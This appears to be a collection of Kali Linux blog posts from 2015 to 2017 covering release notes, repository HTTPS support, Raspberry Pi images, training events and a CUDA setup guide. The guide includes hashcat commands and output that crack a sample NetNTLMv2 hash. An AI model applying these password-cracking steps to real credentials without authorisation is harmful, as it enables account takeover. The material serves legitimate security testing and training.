At the heart of this cool project is the Re4son-Kernel for Raspberry Pi. Built to work with the Pi 0/0W/1/2/3, the Re4son-Kernel, “allows Kali Linux to get the best out of any Raspberry Pi by supplying support for the onboard wifi and Bluetooth, wifi injection patches, additional hardware support, security enhancements, headers, sources, etc.”

It also provides complete armel support for the Pi 1, Zero, and Zero W and armhf support for the Pi 2 and 3 and all versions are 100% compatible with the stock Kali Linux Kernel.

In addition, @Re4son has released images and instructions for a “Damn Vulnerable” version of the Sticky Fingers Kali Pi, the “Sticky Fingers DV-PI” which runs on Raspberry Pi 0/0W/1/2/3 (with or without touchscreen) and is pre-configured with “easy(ish)” and “medium difficulty” vulnerabilities for penetration and privilege escalation. This portable, low cost “vulnerability playground” is perfect for home research, skills sharpening, training, or even small CTF-style contests wherever you happen to be.

“OffSec training courses supply the know-how to achieve world domination”, @Re4son tells us, “and Sticky Fingers Kali-Pi provides the tools. Hacking has never been more fun.”

We whole-heartedly agree. We’re pretty excited about @Re4son’s Kali-Pi, Re4son-Kernel, and Sticky Fingers DV-PI projects and are thankful for his unwavering support of users in the Kali Linux forum.

Thanks, @Re4son, for your hard work, for being a shining member of the Kali community, and for keeping things fun.

@Re4son invites you to get involved as he works on new modules and improving his projects. He can be reached on the Kali forums, at @Re4sonKernel, github.com/Re4son or whitedome.com.au/re4son/.

Kali Linux 2017.1 Release

Tue, 25 Apr 2017 00:00:00 +0000

Finally, it’s here! We’re happy to announce the availability of the Kali Linux 2017.1 rolling release, which brings with it a bunch of exciting updates and features. As with all new releases, you have the common denominator of updated packages, an updated kernel that provides more and better hardware support, as well as a slew of updated tools - but this release has a few more surprises up its sleeve.

Support for RTL8812AU Wireless Card Injection

A while back, we received a feature request asking for the inclusion of drivers for RTL8812AU wireless chipsets. These drivers are not part of the standard Linux kernel, and have been modified to allow for injection. Why is this a big deal? This chipset supports 802.11 AC, making this one of the first drivers to bring injection-related wireless attacks to this standard, and with companies such as ALFA making the AWUS036ACH wireless cards, we expect this card to be an arsenal favourite.

The driver can be installed using the following commands:

apt-get update
apt install realtek-rtl88xxau-dkms

Streamlined Support for CUDA GPU Cracking

Installing proprietary graphics drivers has always been a source of frustration in Kali. Fortunately, improvements in packaging have made this process seamless - allowing our users a streamlined experience with GPU cracking. Together with supported hardware, tools such as Hashcat and Pyrit can take full advantage of NVIDIA GPUs within Kali. For more information about this new feature, check out the related blog post and updated official documentation.

Amazon AWS and Microsoft Azure Availability (GPU Support)

Due to the increasing popularity of using cloud-based instances for password cracking, we decided to focus our efforts into streamlining Kali’s approach. We noticed that Amazon’s AWS P2-Series and Microsoft’s Azure NC-Series allow pass-through GPU support so we made corresponding AWS and Azure images of Kali that support CUDA GPU cracking out of the box. You can check out our Cracking in the Cloud with CUDA GPUs post we released a few weeks back for more information.

OpenVAS 9 Packaged in Kali Repositories

One of the most lacking tool categories in Kali (as well as the Open-source arena at large) is a fully-fledged vulnerability scanner. We’ve recently packaged OpenVAS 9 (together with a multitude of dependencies) and can happily say that, in our opinion, the OpenVAS project has matured significantly. We still do not include OpenVAS in the default Kali release due to its large footprint, but OpenVAS can easily be downloaded and installed using the following commands:

apt-get update
apt install openvas

Kali Linux Revealed Book and Online Course

To those of you following our recent announcement regarding the Kali Linux Certified Professional program, we’re happy to say that we’re spot on schedule. The Kali Linux Revealed book will be available in early July, and the free online version will be available shortly after that. We’re really excited about both the book and the online course and are anxiously waiting for this release - it marks a real cornerstone for us, as our project continues to grow and mature. To keep updated regarding the release of both the book and the online course, make sure to follow us on Twitter.

Kali Linux at Black Hat Vegas 2017

This year, we are fortunate enough to debut our first official Kali Linux training at the Black Hat conference in Las Vegas, 2017. This in-depth, four day course will focus on the Kali Linux platform itself (as opposed to the tools, or penetration testing techniques), and help you understand and maximize the usage of Kali from the ground up. Delivered by Mati Aharoni and Johnny Long, in this four day class you will learn to become a Kali Linux ninja. We will also be delivering another Dojo event this year - more details about that to come at a later date.

Kali ISO Downloads, Virtual Machines and ARM Images

The Kali Rolling 2017.1 release can be downloaded via our official Kali Download page. If you missed it, our repositories have recently been updated to support HTTPS, as well as an HTTPS apt transport. This release, we have also updated our Kali Virtual Images and Kali ARM Images downloads. As usual, if you’ve got Kali already installed, all you need to do to be fully updated is:

apt update
apt dist-upgrade
reboot

We hope you enjoy this fine release!

Kali Linux Repository HTTPS Support

Mon, 24 Apr 2017 00:00:00 +0000

A couple of weeks back we added more HTTPS support to our Kali infrastructure, and wanted to give our users some guidance and point out what’s new. While our Kali Linux download page (and shasums) has always been served via HTTPS, our mirror redirector has not. Now that we generate weekly images, secure access to the mirror redirector has become crucial.

https://cdimage.kali.org

This is our Kali Image Mirror Redirector. This server accepts your download requests from our official download page, and then serves your requested file from the geographically closest mirror. This is also the download point for our Kali Weekly builds - now with fresh and shiny HTTPS support. Hitting this redirector via HTTPS will redirect your request to an SSL enabled download server, while an unencrypted HTTP request will redirect to an HTTP enabled mirror. Where’s the catch? Not all donated mirrors support HTTPS, so choosing this transport may result in slower download speeds. Should downloading a Kali image over HTTP be a security concern? Not if you GPG verify your downloaded image.

https://http.kali.org

As a byproduct of enabling HTTPS on cdimage.kali.org, we now also support apt HTTPS transports. This means that our actual Kali package repositories can support HTTPS - resulting in encrypted Kali updates and upgrades. Surprisingly, this does not add much security to the update / upgrade process (read here if you’re wondering why) - however it *does* add an extra layer of security, so we figured, “why not?”. To enable the apt HTTPS transport, first make sure the apt-transport-https package is installed (it’s installed by default in our weekly images and upcoming releases) and enable the HTTPS transport in your sources.list file as shown below:

root@kali:~# apt install apt-transport-https
root@kali:~# cat /etc/apt/sources.list
deb https://http.kali.org/kali kali-rolling main contrib non-free
# deb-src https://http.kali.org/kali kali-rolling main contrib non-free
root@kali:~#

Now any update or upgrade operation preformed against our mirrors will be HTTPS enabled:

root@kali:~# apt update
Hit:1 https://archive-3.kali.org/kali kali-rolling InRelease
Reading package lists... Done
root@kali:~#

As not all donated mirrors come with HTTPS support, shifting to the HTTPS transport may result in a less optimized mirror being selected for you, resulting in slower download speeds. As moving to an apt HTTPS transport does not provide much extra security, do so only if you feel you must!

Cracking in the Cloud with CUDA GPUs

Tue, 28 Feb 2017 00:00:00 +0000

Due to increasing popularity of cloud-based instances for password cracking, we decided to focus our efforts into streamlining Kali’s approach. We’ve noticed that Amazon’s AWS P2-Series and Microsoft’s Azure NC-Series are focused on Windows and Ubuntu. The corresponding blog posts and guides followed suit. Although these instances are limited by the NVIDIA Tesla K80’s hardware capabilities, the ability to quickly deploy a Kali instance with CUDA support is appealing.

Installing proprietary graphics drivers has always been a source of frustration; fortunately, improvements in packaging have made this process much more seamless. Although we’ve done the work for you in the cloud offerings, we’d like to help simplify installation for your own use.

Prerequisites

First, you’ll need to ensure that your system is fully upgraded and that your card supports CUDA. Note: GPUs with a CUDA compute capability > 5.0 are recommended, but GPUs with less will still work:

apt-get update && apt-get dist-upgrade -y

Once we’ve updated the system, we need to check for the nouveau kernel modules, and if enabled, blacklist them:

root@kali:~# lsmod |grep -i nouveau
nouveau 1499136 1
mxm_wmi 16384 1 nouveau
wmi 16384 2 mxm_wmi,nouveau
video 40960 1 nouveau
root@kali:~#
root@kali:~# echo -e "blacklist nouveau\noptions nouveau modeset=0\nalias nouveau off" > /etc/modprobe.d/blacklist-nouveau.conf

After modifying kernel parameters, we’ll need to update our initramfs, then reboot:

update-initramfs -u && reboot

Installation on a Local Computer

Once we have rebooted and have determined that the nouveau modules have not loaded, we will proceed to install the OpenCL ICD Loader, Drivers, and the CUDA toolkit:

apt-get install -y ocl-icd-libopencl1 nvidia-driver nvidia-cuda-toolkit

During installation of the drivers the system created new kernel modules, so another reboot is required.

Verify Driver Installation

Now that our system should be ready to go, we need to verify the drivers have been loaded correctly. We can quickly verify this by running the nvidia-smi tool:

root@kali:~# nvidia-smi
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 375.26 Driver Version: 375.26 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
|===============================+======================+======================|
| 0 Tesla K80 Off | 0000:00:1E.0 Off | 0 |
| N/A 28C P0 53W / 149W | 0MiB / 11439MiB | 65% Default |
+-------------------------------+----------------------+----------------------+

With the output displaying our driver and GPU correctly, we can now dive into password cracking. Before we get too far ahead, let’s double check to make sure hashcat and CUDA are working together:

root@kali:~# hashcat -I
OpenCL Info:
Platform ID #1
Vendor : NVIDIA Corporation
Name : NVIDIA CUDA
Version : OpenCL 1.2 CUDA 8.0.0
Device ID #1
Type : GPU
Vendor ID : 32
Vendor : NVIDIA Corporation
Name : Tesla K80
Version : OpenCL 1.2 CUDA
Processor(s) : 13
Clock : 823
Memory : 2047/11439 MB allocatable
OpenCL Version : OpenCL C 1.2
Driver Version : 375.26

Note: If you receive the error c_lGetDeviceIDs(): CL_DEVICE_NOT_FOUND_ with Platform ID labeled Vendor: Mesa run:

apt-get remove mesa-opencl-icd

It appears everything is working, let’s go ahead and run a benchmark test.

Benchmarking

root@kali:~# hashcat -b
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: Tesla K80, 2047/11439 MB allocatable, 13MCU
Hashtype: MD5
Speed.Dev.#1.....: 4247.2 MH/s (102.66ms)
Hashtype: SHA1
Speed.Dev.#1.....: 1850.5 MH/s (58.64ms)
Hashtype: SHA256
Speed.Dev.#1.....: 785.1 MH/s (69.41ms)

Cracking

Now let’s crack some hashes. We are going to use the example NetNTLMv2 hash found on the hashcat wiki.

root@kali:~# hashcat -a 0 -m 5600 ntlmv2.hash dict.txt
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: Tesla K80, 2047/11439 MB allocatable, 13MCU
ADMIN::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030:hashcat
Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
Hash.Target......: ADMIN::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
Input.Base.......: File (dict.txt)
Input.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 0 H/s (0.10ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 101/101 (100.00%)

Success! We’ve cracked the example hash and proven our installation is functional. There are a multitude of configurations to improve cracking speed, not mentioned in this guide. However, we encourage you to take a look at the hashcat documentation for your specific cases.

Running a GPU Instance in AWS

We’ve registered new CUDA enabled Kali Rolling images with Amazon which work out of the box with P2 AWS images. With virtually no additional setup required, you can get up and running with a Kali GPU instance in less than 30 seconds. All you need to do is choose a P2 instance, and you’re ready to start cracking!

The Kali Linux Certified Professional

Tue, 17 Jan 2017 00:00:00 +0000

Introducing the KLCP Certification

After almost two years in the making, it is with great pride that we announce today our new Kali Linux Professional certification - the first and only official certification program that validates one’s proficiency with the Kali Linux distribution.

If you’re new to the information security field, or are looking to take your first steps towards a new career in InfoSec, the KLCP is a “must have” foundational certification. Built on the philosophy that “you’ve got to walk before you can run,” the KLCP will give you direct experience with your working environment and a solid foundation toward a future with any professional InfoSec work. As we continually see, those entering the OffSec PWK program with previous working experience with Kali, and a general familiarity with Linux, tend to do better in the real world OSCP exam.

For those of you who already have some experience in the field, the KLCP provides a solid and thorough study of the Kali Linux Distribution - learning how to build custom packages, host repositories, manage and orchestrate multiple instances, build custom ISOs, and much, much, more. The KLCP will allow you to take that ambiguous bullet point at the end of your resume - the one that reads “Additional Skills - familiarity with Kali Linux”, and properly quantify it. Possession of the KLCP certification means that you have truly mastered the Kali penetration testing distribution and are ready to take your information security skills to the next level.

The KLCP exam will be available via Pearson VUE exam centres worldwide after the Black Hat USA 2017 event in Las Vegas.

New Book - Kali Linux Revealed

Mastering the Penetration Testing Distribution

More exciting news! In the past year, we’ve been working internally on an Official Kali Linux book - Kali Linux Revealed: Mastering the Penetration Testing Distribution. This is the first official Kali book from OffSec Press, and is scheduled for release on July 22nd, 2017. Kali Linux Revealed will be available in both hard copy and online formats. Keeping the Kali Linux spirit, the online version of the book will be free of charge, allowing anyone who wishes to hone their skills and improve their knowledge of Kali to do so at no cost. This book, together with our official Kali documentation site will encompass the body of knowledge for the KLCP.

“Kali Linux Revealed” Class at Black Hat USA, 2017

This year, we are fortunate enough to debut our first official Kali Linux training at the Black Hat conference in Las Vegas, 2017. This in depth, four day course will focus on the Kali Linux platform itself (as opposed to the tools, or penetration testing techniques), and help you understand and maximize the usage of Kali from the ground up. Delivered by Mati Aharoni and Johnny Long, in this four day class you will learn how to:

Gain confidence in basic Linux proficiency, fundamentals, and the command line.
Install and verify Kali Linux as a primary OS or virtual machine, including full disk encryption and preseeding.
Use Kali as a portable USB distribution including options for encryption, persistence, and “self-destruction”.
Install, remove, customize, and troubleshoot software via the Debian package manager.
Thoroughly administer, customize, and configure Kali Linux for a streamlined experience.
Troubleshoot Kali and diagnose common problems in an optimal way.
Secure and monitor Kali at the network and filesystem levels.
Create your own packages and host your own custom package repositories.
Roll your own completely customized Kali implementation and preseed your installations.
Customize, optimize, and build your own kernel.
Scale and deploy Kali Linux in the enterprise.
Manage and orchestrate multiple installations of Kali Linux.

Please Note: This is not a penetration testing course. This course is focused on teaching the student how to get the most out of the Kali Linux Penetration Testing Platform, not how to use the packaged tools in an offensive manner. Attending students will receive a signed copy of the “Kali Linux Revealed” book as well as a free voucher to sit the KLCP exam in a nearby Pearson VUE certification centre.

A lot has been going on behind the scenes in the Kali Linux arena, and we’re excited to see our distribution get a free and formal education path. We believe this will improve the skills of those using Kali Linux and better the community and information security industry as a whole. We are putting all our efforts into finishing up the Kali Revealed book, and will keep y’all updated as the release date nears. In the meantime, follow us on twitter to get realtime updates as they come out.

Kali Linux in the AWS cloud, again

Fri, 02 Dec 2016 00:00:00 +0000

We’re happy to announce that we’ve once again listed our Kali Linux images on the Amazon AWS marketplace. You can now spin up an updated Kali machine easily through your EC2 panel. Our current image is a “full” image, which contains all the standard tools available in a full Kali release. Once your instance is running, connect to it with your SSH private key using the “ec2-user” account. Don’t forget to update your Kali instance to get the latest packages and bug fixes. Type as root (or sudo): apt update && apt dist-upgrade. We are “selling” these images on the marketplace for free, so other than the regular Amazon charges, there are no extras to pay. The Kali team would like to take this opportunity to thank @r0kh for his efforts of getting Kali back on track (no pun intended) and working flawlessly in AWS. If you plan to use these Kali images for penetration testing in an AWS environment, make sure you check out the Amazon penetration testing request form.

Kali Rolling on AWS

Azure Marketplace, Weekly ISO Builds

Tue, 13 Sep 2016 00:00:00 +0000

Kali Linux in the Azure Marketplace

Over the past couple of weeks we’ve been working on building and implementing Kali 2016.2 in the Azure Marketplace. We’re happy to announce that from today on, you can spin up a Kali machine from the Azure Marketplace. In just a few seconds, you can have a full penetration testing toolset at your fingertips for no additional cost (other than the standard Azure pricing). If you are a new Azure customer, you can create a free account and receive $200 credit. If you are performing penetration testing, please refer to the Azure Testing Request for more information.

Kali Linux Weekly ISO Builds

As we mentioned in our Kali Rolling 2016.2 release, we’ve started building weekly images of our Kali ISOs. This allows people access to “fresher” and more up-to-date Kali builds at any given time, and helps cut back on the long waits for updates. The ISOs will be generated each Sunday and will be versioned as “-W”. Once all builds are generated, they will be available via cdimage.kali.org/kali-images/kali-weekly. Each weekly release will have it’s own SHA1SUM file which will be available at archive.kali.org/kali-images/kali-weekly/SHA1SUMS.

Mr Robot, Ekoparty, and Release Aftermath

We are overjoyed with the positive feedback we have received from the 2016.2 update and our download servers have been squealing, serving well over 290,000 copies of Kali this month. We very much appreciate the kind words and as always, would recommend that if you happen to come across any problems - make sure to report them to us through our bug tracker.

Additionally, we have had the pleasure of watching Kali make an appearance on Mr Robot multiple times! We have always been impressed with how grounded the technology is on that show, and seeing Kali leveraged in realistic manners is always fun. Finally, we wanted to make one last shout out about the upcoming Kali Dojo at ekoparty. If you are attending, be sure to drop in and say hello!

Kali Linux 2016.2 Release

Wed, 31 Aug 2016 00:00:00 +0000

We’re well recovered from the Black Hat and DEF CON Vegas conferences and as promised, we’re launching our second Kali Rolling ISO release aka Kali 2016.2. This release brings a whole bunch of interesting news and updates into the world of Kali and we’re excited to tell you all about it.

New KDE, MATE, LXDE, e17, and Xfce Builds

Although users are able to build and customize their Kali Linux ISOs however they wish, we often hear people comment about how they would love to see Kali with $desktop_environment instead of GNOME. We then engage with those people passionately, about how they can use live-build to customize not only their desktop environment but pretty much every aspect of their ISO, together with the ability to run scripted hooks at every stage of the ISO creation process - but more often than not, our argument is quickly lost in random conversation. As such, we’ve decided to expand our “full” 64bit releases with additional Desktop Environment flavored ISOs, specifically KDE, Mate, LXDE and Enlightenment. These can now be downloaded via our Kali Download page. For those curious to see what the various Desktop Environments look like, we’ve taken some screenshots for you:

Kali Linux Weekly ISOs

Constantly keeping Kali on the bleeding edge means frequent updates to packages on an ongoing basis. Since our last release several months ago, there’s a few hundred new or updated packages which have been pushed to the Kali repos. This means that anyone downloading an ISO even 3 months old has somewhat of a long “apt-get dist-upgrade” ahead of them. To help avoid this situation, from this release onwards, we’ll be publishing updated weekly builds of Kali that will be available to download via our mirrors. Speaking of mirrors, we are always in need of support in this area - if you’re capable of running a high-bandwidth mirror and would like to support our project, please check out our Kali Mirrors page.

Bug Fixes and OS Improvements

During these past few months, we’ve been busy adding new relevant tools to Kali as well as fixing various bugs and implementing OS enhancements. For example, something as simple as adding HTTPS support in busybox now allows us to preseed Kali installations securely over SSL. This is a quick and cool feature to speed up your installations and make them (almost) unattended, even if you don’t have a custom built ISO.

preseed/url=http://www.kali.org/dojo/preseed.cfg

Kali “sana” Repositories Retired

We announced the “sana” release EOL a few months ago along with its public repositories. We’ve given a few months grace and are now finally purging the “sana” repositories from our servers. For anyone who still needs them, they can be found archived at old.kali.org.

Exciting News Coming Up!

We are really excited about these changes to Kali as we continue to improve and expand the best Linux-based penetration testing framework around. Beyond these distribution changes, there have been a number of other project-related events such as the multitude of times that Kali has been featured on the hit USA network series Mr Robot and the Official Kali Linux Twitter account becoming a verified account.

We have a lot of exciting announcements that will be coming in the next few weeks, so if you are not already following us on Twitter, be sure to do so! If you are attending the ekoparty conference we will be there doing the Kali Dojo, so be sure to drop by and say hello. And as always, if you find any issues in this new release of Kali, be sure to report it on our bug tracker.

Hacking with Kali at Black Hat USA 2016

Wed, 20 Jul 2016 00:00:00 +0000

Kali Linux Dojo, BlackHat 2016 - Las Vegas

We have really enjoyed doing the Dojo at Black Hat the last few years. It’s been a great opportunity to show off some of the lesser known (but oh so useful) features of Kali Linux as well as interact with the user base. But one of the limitations of the previous structure was that while this was a hands-on exercise, many attendees moved at different paces from each other. So we wanted to move towards more of a “self service” model where attendees can drop in, have access to the training material, and will be free to work at their own pace. We accomplished with the new model we will be premiering this year, allowing everyone to take as much, or as little, time needed to get a working Kali install customized to their desires. While this is being done, Kali developers will be onsite and interacting with everyone on a consistent basis.

Hacking the playground with Kali Linux

This leads to the next major change in structure, as in previous years a commonly heard question was “Great! I have this beautiful Kali install, now what do I do with it?”. This year, we have a great answer for this: Hack our systems!

Our good friends at OffSec have been gracious enough to provide us with a number of systems that have been preconfigured with interesting and unique vulnerabilities. This environment will will be setup in the room, and attendees can connect into it and put Kali Linux to use, hacking these systems to your hearts content. Whats more, we will be providing some extra incentive for you to hack all the things, by giving away prizes to those that obtain the highest score.

Our cool giveaways in the Playground CTF

Here are a few pics of the Kali hardware we’ll be giving away to our contest winners in the Kali Dojo CTF:

What to bring if you want to attend:

Now that we have your attention, here’s what you need to bring!

Powerful 64bit laptop with Kali Rolling (!) installed in a VM or natively.
At least 40 GB free space in the VM or laptop for generating ISOs
8GB USB 3.0 stick (or larger) for creating Kali Live USBs.

We will have Kali VMWare images for you to download on site - so if you choose this option, make sure you have the latest VMware Workstation of Fusion installed. Yes, make sure it’s the LATEST version!

Come say hello!

Thats right. You can get a pre-release version of Kali Linux before its available to the public, you can customize it to yours hearts content. And then you can use it to hack vulnerable machines to accumulate points. And we will give you free stuff for doing all this. We know there is a lot going on at Black Hat Vegas, as the convention gets better every year. We do hope that you budget some time to drop on the Kali Dojo on Aug. 4th, as we will be going all day.

Kali Linux Dojo at Black Hat Vegas 2016

Mon, 11 Jul 2016 00:00:00 +0000

The folks at Black Hat have been kind enough to invite us once again to deliver a Kali Dojo in Las Vegas this year. The event will be held on the 4th of August at the Mandalay Bay hotel, and will be open to all Black Hat pass types. This year our Dojo will be set up differently, allowing for a larger crowd and much more interaction. We are going to hold a full day event, featuring several main activity areas :

Area 1: Customising Kali ISOs using live-build

One to the most important aspects of Kali Linux is it ability to be customized based on your unique and specific needs. Define your toolsets, your desktop environment, customised scripts and wallpapers - and of course, preseed your installation media as needed. This area of the Dojo will feature the ever popular custom ISO generation on Kali Rolling.

Area 2: Kali Live USB with Persistence and LUKS

USB speeds keep getting faster and faster, to the point now where they are viable storage for a secondary system. In this area we will help you understand how to deploy your customized Kali ISO to a secure, encrypted, USB install. Complete with Kali specific features such as multiple persistent stores and LUKS Nuke!

Area 3: Hacking with Kali Linux - Test the tools

Now that you have tweaked out and customized Kali install, what do you do with it? Hack stuff! In this area we will provide you with a safe and secure area to put Kali to use, with real world attack vectors. Get your hands dirty and hack our stuff! And did we mention prizes? Oh yeah, there will be prizes! Including give aways of Kali NetHunter devices, Kali Flip laptops, and OffSec Penetration Testing with Kali Linux courses!

Area 4: The wonderful world of Kali ARM devices

One of the most exciting developments in modern Linux is non-traditional computing devices. Kali has always been at the forefront of ARM support, and has aggressively added support for a wide range of unique and specialized ARM devices. In this area, you will get a chance to see and go hands-on with a number of these unique devices. Additionally, you will be provided the opportunity to interact directly with Kali Developers!

Come to the Dojo and say “Hi”

We are extremely excited about this years Kali Dojo. This new format will facilitate more attendees (no more getting turned away at the door because we are full!) as well as more direct one on one interaction with Kali Developers and the OffSec team. If you have even a passing interest in Kali Linux, drop on in and say hi, hit us up with questions, and put Kali to use for a chance to win some awesome prizes! For more information about the Kali Dojo, check the Dojo Black Hat page.

Kali Linux 2016.2 Release

As we do every year, we will have some fresh pre-release Kali Linux 2016.2 ISOs fresh from the oven exclusively for our students, Dojo attendees and anyone else who wants to peek at our upcoming version of Kali Linux. Our final 2016.2 release will happen once we’re back from the conferences and fully recovered.

Kali Linux 2016.1 Release - Rolling Edition

Thu, 21 Jan 2016 00:00:00 +0000

Our First Release of Kali-Rolling (2016.1)

Today marks an important milestone for us with the first public release of our Kali Linux rolling distribution. Kali switched to a rolling release model back when we hit version 2.0 (codename), however the rolling release was only available via an upgrade from 2.0 to kali-rolling for a select brave group. After 5 months of testing our rolling distribution (and its supporting infrastructure), we’re confident in its reliability - giving our users the best of all worlds - the stability of Debian, together with the latest versions of the many outstanding penetration testing tools created and shared by the information security community.

What’s new in Kali Rolling?

Kali Rolling Release vs Standard Releases

To get a better understanding of the changes that this brings to Kali, a clearer picture of how rolling releases work is needed. Rather than Kali basing itself off standard Debian releases (such as Debian 7, 8, 9) and going through the cyclic phases of “new, mainstream, outdated”, the Kali rolling release feeds continuously from Debian testing, ensuring a constant flow of the latest package versions.

Continuously Updated Penetration Testing Tools

Our automated notification system of updated penetration testing tool releases has been working well over the past 5 months and has ensured that the kali-rolling repository always holds the latest stable releases of monitored tools. This usually leaves a gap of around 24-48 hours from notification of a new tool update, to its packaging, testing, and pushing into our repositories. We would also like to introduce our new Kali Linux Package Tracker which allows you to follow the evolution of Kali Linux both with email updates and a comprehensive web interface. The tracker can also help in identifying which versions of various tools and packages are in our repository at any given moment. As an example, the screenshot below shows the timeline of the nmap package in Kali and tracks its repository versions.

VMware Tools vs Open-VM-Tools

This release also marks a dramatic change around how VMware guest tools are installed. As of Sept 2015, VMware recommends using the distribution-specific open-vm-tools instead of the VMware Tools package for guest machines. We have made sure that our package installs and works correctly with the latest Kali rolling kernel and are happy to see that all the needed functionality such as file copying, clipboard copy/paste and automatic screen resizing are working perfectly. To install open-vm-tools in your Kali Rolling image, enter:

apt-get update
apt-get install open-vm-tools-desktop fuse
reboot

Transitioning From Kali 2.0 to Kali Rolling

Migrating from Kali sana (2.0) to Kali rolling is simple. As root, you can run the following commands and be on your way:

cat < /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
EOF
apt-get update
apt-get dist-upgrade
# get a coffee, or 10.
reboot

Please note that the Kali sana repositories will no longer be updated and will be EOL’d on the 15th of April 2016.

Kali Penetration Testing Tools Site Refresh

Our on-going mission to give all our Kali sites a facelift and common look and feel has made its way to the Kali Tools website. Beyond its clean good looks, the Kali tools site includes descriptions and sample usage for virtually every tool in the Kali Linux arsenal. You can quickly select tools by what they do, such as conducting information gathering, cracking passwords, doing DNS enumeration, evaluating wireless networks, and much, much more. In addition, we have started adding community driven videos to some of the tool entries, currently taken from @10101_Brew. Keep them coming!

Download Kali Linux Rolling 2016.1

Full, Light and Mini Kali Linux ISO downloads

We try to keep our release notes to a minimum but there’s just so much to say! As with our Kali 2.0 release, we’re putting out two ISOs - a full ISO image with Gnome, and a “light” ISO, which just includes the “top 10” metapackage and XFCE. As usual, feel free to engage the community, report bugs, or join our forums for more discussions about the Kali OS.

Download Kali

Kali Rolling VMware, VirtualBox, and ARM Images

We will be releasing VMware and VirtualBox images of Kali rolling 2016.1 next week via the OffSec website, as usual. We will also have a barrage of fresh new Kali Rolling ARM images for the various ARM devices we support. The transition to Kali Rolling in the ARM arena will bring in new opportunities to ARM enthusiasts, as these devices will also enjoy the fresh stream of tool updates in Kali Rolling. Get those Raspberry Pi’s warmed up for next week!

Shameless Kali Linux Promotions

PWK, AWAE and AWE in Black Hat USA 2016

We noticed that the Black Hat USA 2016 training schedule went online today, and figured this would be a good opportunity to give everyone a “heads up” about it. Our classes usually fill up quickly, and late comers are often disappointed. If you’re looking to sign up for one of our courses at BlackHat, our advice is “don’t’ wait”. In addition to our regular courses, we hope to be running another Kali Dojo, similar to the 2015 event. Register quickly if you want to join any of these events, you’ve been given fair warning!

PWK BHUSA 2016 AWAE BHUSA 2016 AWE BHUSA 2016"

OSCP? Try Harder and Win a NetHunter

A couple of weeks ago we released a blog post about “What it means to be an OSCP” in our eyes. If you’re an OSCP and would like a chance to Win an awesome OnePlus One NetHunter device, go ahead and read our previous blog post! We’ve extended the offer till the end of January, when our winner will be announced.

Kali Moto End of Life & Kali Dojo Slides

Thu, 15 Oct 2015 00:00:00 +0000

Kali Sana Release Aftermath

Kali Linux 2.0 has been out for a couple of months and the response has been great, with well over a million unique downloads of Kali 2.0 as a testament. Release day was somewhat hectic for us, as we did not anticipate the sheer volume of traffic … which we somehow always underestimate. In the first few days after the release of 2.0, we had ten times the download volume of 1.0 in a similar period, back in 2013.

Kali Moto Repository Purge

We’ve given Kali Moto (1.0) a good two months of grace time and will be purging the unsupported 1.0 distribution files from our repositories in the next few days. If you’re still using Kali 1.0 then it’s definitely time to either upgrade or update:

cat << EOF > /etc/apt/sources.list
deb http://http.kali.org/kali sana main contrib non-free
deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
EOF
apt-get update
apt-get dist-upgrade # get a coffee, or 10.
reboot

If for some reason you can’t upgrade, we’ve set aside an archive mirror of Kali 1.0, which can be set as follows:

cat << EOF > /etc/apt/sources.list
deb http://old.kali.org/kali moto main contrib non-free
EOF

Please note, this repository will not be maintained or updated.

Kali Linux Dojo 2015 Materials

It occurred to us that after the BlackHat and DEF CON conferences, we never made a public announcement regarding the availability of our Kali Linux Dojo 2015 slides and notes. The Dojo was great fun - we definitely enjoyed showing our brand spanking new Kali 2.0 to the the crowds, who built their own Kali 2.0 ISOs a day before release.

Kali Linux 2.0 Release - Sana

Tue, 11 Aug 2015 00:00:00 +0000

Our Next Generation Penetration Testing Platform

We’re still buzzing and recovering from the Black Hat and DEF CON conferences where we finished presenting our new [Kali Linux Dojo](](/docs/development/dojo-mastering-live-build/), which was a blast. With the help of a few good people, the Dojo rooms were set up ready for the masses - where many generated their very own Kali 2.0 ISOs for the first time. But the excitement doesn’t end for us just yet. With the end of the cons, we now find ourselves smack in the middle of the most significant release of Kali since 2013. Today is the day that Kali 2.0 is officially released.

So, what’s new in Kali 2.0? There’s a new 4.0 kernel, now based on Debian Jessie, improved hardware and wireless driver coverage, support for a variety of Desktop Environments (gnome, kde, xfce, mate, e17, lxde, i3wm), updated desktop environment and tools - and the list goes on. But these bulletpoint items are essentially a side effect of the real changes that have taken place in our development backend. Ready to hear the real news? Take a deep breath, it’s a long list.

Kali Linux is Now a Rolling Distribution

One of the biggest moves we’ve taken to keep Kali 2.0 up-to-date in a global, continuous manner, is transforming Kali into a rolling distribution. What this means is that we are pulling our packages continuously from Debian Testing (after making sure that all packages are installable) - essentially upgrading the Kali core system, while allowing us to take advantage of newer Debian packages as they roll out. This move is where our choice in Debian as a base system really pays off - we get to enjoy the stability of Debian, while still remaining on the cutting edge.

Continuously Updated Tools, Enhanced Workflow

Another interesting development in our infrastructure has been the integration of an upstream version checking system, which alerts us when new upstream versions of tools are released (usually via git tagging). This script runs daily on a select list of common tools and keeps us alerted if a new tool requires updating. With this new system in place, core tool updates will happen more frequently. With the introduction of this new monitoring system, we will slowly start phasing out the “tool upgrades” option in our bug tracker.

New Flavours of Kali Linux 2.0

